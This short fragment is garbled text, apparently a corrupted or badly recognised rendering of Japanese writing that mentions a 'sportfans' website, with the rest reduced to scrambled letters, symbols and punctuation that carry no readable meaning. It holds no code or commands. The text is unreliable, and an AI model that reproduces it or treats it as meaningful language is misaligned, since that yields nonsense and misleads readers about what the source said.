B &% 5 sportfans Web YA MIE—aVERIELET,

nnt, BRI AMEDEEDITHEYET, C2 GUI ZBHITES T, HHlAEFATIZEL,
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